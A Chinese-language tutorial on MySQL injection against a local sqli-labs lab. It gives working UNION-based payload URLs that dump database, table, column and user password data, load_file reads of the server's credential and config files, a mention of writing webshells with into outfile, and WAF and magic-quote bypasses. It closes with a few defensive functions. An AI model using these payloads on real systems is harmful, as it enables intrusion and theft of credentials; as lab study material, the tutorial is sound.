MYSQL注入
information_schema 表特性,记录库名,表名,列名对应表
Information_schema.tables:记录所有表名信息的表
Information_schema.columns:记录所有列名信息的表
Information_schema.schemata当前 mysql 实例中所有数据库的信息
information_schema.column表的table_schema:字段所属数据库名字
information_schema.column表的table_name:字段所属表名字
information_schema.column表的column_name:字段名字
information_schema.tables 表的table_name:表的的名字
information_schema.tables 表的table_schema:表所属数据库的名字
跨库攻击
前期准备
数据库常用查询:
- 数据库版本:version()
- 数据库名字:database()
- 数据用户:user()
- 操作系统:@@version_compile_os
- substring()截取字符串
- ord 返回ASCII码值
- concat 连接字符串
- sleep(4) 睡眠指定描述
- group_concat() 查询结果放同一行
- limit m,n 从m行开始,到m+n行。
- mid()需要截取的字符串
- 注释:
- 1.#
- 2.--空格(%20)
- 3./**/
- 内联注释:/*!SQL语句*/只有Mysql可以识别,常用来绕过WAF
例如:select * from articles where id = id
使用内联注释注入:select *from articles where id =-1 /*!union*//*!select*/
- 查询数据库information_schema
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| pikachu |
| security |
| sys |
+--------------------+
7 rows in set (0.00 sec)
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_LOCKS |
| INNODB_TRX |
| INNODB_SYS_DATAFILES |
| INNODB_FT_CONFIG |
| INNODB_SYS_VIRTUAL |
| INNODB_CMP |
| INNODB_FT_BEING_DELETED |
| INNODB_CMP_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMPMEM_RESET |
| INNODB_FT_DELETED |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_LOCK_WAITS |
| INNODB_TEMP_TABLE_INFO |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_FIELDS |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_BUFFER_PAGE |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_INDEX_TABLE |
| INNODB_FT_INDEX_CACHE |
| INNODB_SYS_TABLESPACES |
| INNODB_METRICS |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_CMPMEM |
| INNODB_BUFFER_POOL_STATS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_TABLESTATS |
+---------------------------------------+
61 rows in set (0.00 sec)
- 查询information_schema下的schemata
mysql> select* from SCHEMATA;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | challenges | gbk | gbk_chinese_ci | NULL |
| def | mysql | latin1 | latin1_swedish_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | pikachu | utf8 | utf8_unicode_ci | NULL |
| def | security | gbk | gbk_chinese_ci | NULL |
| def | sys | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
7 rows in set (0.00 sec)
- 打开网页进入
http://127.0.0.1/sqli-labs-master/Less-2/
信息收集
查看相关信息
- 数据库版本:version()
- 数据库名字:database()
- 数据用户:user()
- 操作系统:@@version_compile_os
- substring()截取字符串
- ord 返回ASCII码值
- concat 连接字符串
- sleep(4) 睡眠指定描述
- group_concat() 查询结果放同一行
- limit m,n 从m行开始,到m+n行。
- mid()需要截取的字符串
- order by 3显示如下
- order by 4显示如下
- 可以看出1,2,3为正常值,4以上就是错误值
使用联合查询,并将id=1改为-1让其报错。可以进行信息收集
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,3
查询数据库,用户名等信息
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,database(),user()
数据库版本:version()-----------mysql-5.7.26
- 数据库名字:database()------------security
- 数据用户:user()----------root@localhost
- 操作系统:@@version_compile_os-------------windows 64bit
在浏览器获取所有数据库名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata
获取security库下的表名
- 上面已经知道该网站的库是security,所以我们要获取指定security数据库名下的表名信息
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27
在mysql中的查询
mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| uagents |
| users |
+--------------------+
4 rows in set (0.00 sec)
获取库下的表名下的列名信息
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%27security%27
数据库操作
mysql> use security;
No connection. Trying to reconnect...
Connection id: 77
Current database: *** NONE ***
Database changed
mysql> SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' LIMIT 0,1;
+----+----------------------+----------+
| id | username | password |
+----+----------------------+----------+
| 1 | id,username,password | 3 |
+----+----------------------+----------+
1 row in set (0.00 sec)
users表的信息:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
查询到指定数据
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,%20group_concat(username),%20group_concat(password)%20from%20security.users
数据库操作:
mysql> select * from users union select 1, group_concat(username), group_concat(password) from security.users;
+----+---------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------+
| id | username | password |
+----+---------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 1 | Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 | Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 |
+----+---------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------+
14 rows in set (0.00 sec)
这里就完成了用户名和密码的读取
文件读写操作
参考地址
load_file();读取函数
into outfile 或 into dumpfile :导出函数
- 查询是否有写入权限
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set, 1 warning (0.01 sec)
Value | 说明 |
---|---|
Null | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
- 可以看到上面现在是没有写入权限的,解决办法是:
- windows下:
修改my.ini 在[mysqld]内加入secure_file_priv= - linux下:
修改my.cnf 在[mysqld]内加入secure_file_priv=
MYSQL新特性secure_file_priv对读写文件的影响
然后重启mysql,再查询secure_file_priv
- windows下:
mysql> select load_file('C:/Users/Edison/Desktop/1.txt');
+--------------------------------------------+
| load_file('C:/Users/Edison/Desktop/1.txt') |
+--------------------------------------------+
| NULL |
+--------------------------------------------+
1 row in set (0.00 sec)
貌似还是不行
- 写入
mysql> select 'a' into outfile 'c:/w.txt';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
尴了个尬。
读取D盘下的www.txt,文件内容为dasdas
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20union%20select%201,load_file(%27d:/www.txt%27),3
读取C:\phpStudy_64\phpstudy_pro\WWW\sqli-labs-master\sql-connections\db-creds.inc
http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20union%20select%201,load_file(%27C:\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3
然后再右键查勘员吗就会有db_creds.inc文件的内容
路径获取常见方法
-
报错显示,
- 网页URL输入错误
-
遗留文件,
- PHPinfo.php
-
SCRIPT_FILENAME—脚本文件地址
-
漏洞报错,
-
平台配置文件,
-
爆破
- 一般网站的默认路径
-
windows:
d:/wwwroot/xiaodi8/
linux:
/var/www/xiaodi8
2.into outfile 或 into dumpfile :导出函数
#写入文件----文件上传,可以用菜刀连接
常见读取文件列表
- 读取C:\phpStudy_64\phpstudy_pro\Extensions\Apache2.4.39\conf\vhosts\Listen.conf
http://192.168.102.130:8888/Less-2/?id=-1%20union%20select%201,2,load_file(%27C:\phpStudy_64\phpstudy_pro\Extensions\Apache2.4.39\conf\vhosts\Listen.conf%27)
魔术引号开关
介绍
魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。
在php.in里找到magic_qutes_gpc并打开
选择SQL注入的关卡1阅读源码sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这一句中我们要是想注入的话必须让前面的’闭合,但是我们开启了魔术引号开关我发生这样的事情。
就是在我们注入的时候添加的 " ’ “会在之后会自动添加” \ "将我们注入语句给注释掉从而失败。将魔术引号关闭之后然后重启phpstudy就可以正常的注入。
-
由于docker搭建的环境是PHP5.5版本的没有魔术引号、故不做演示
-
开启了魔术引号之后
-
绕过方法
采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。
魔术引号及常见防护
-
addslashes()函数
- php addslashes函数的作用是在预定义的字符前面加上反斜杠,这些预定义字符包括:
单引号(')
双引号(")
反斜杠(\)
NULL
- php addslashes函数的作用是在预定义的字符前面加上反斜杠,这些预定义字符包括:
-
is_int 函数
- is_int():检测一个变量是否为整数。
- 语法:
is_int ($var )
参数:
$var:为被传入要检测的变量
返回值:
如果 $var 为 integer 类型,返回 TRUE,否则返回 FALSE
例如:php检测一个变量是否为整数
<?php
$var = 'feiniaomy.com';
var_dump(is_int($var));
// 输出的值为 bool(false)
$var2 = 0;
var_dump(is_int($var2));
// 输出的值为 bool(true)
?>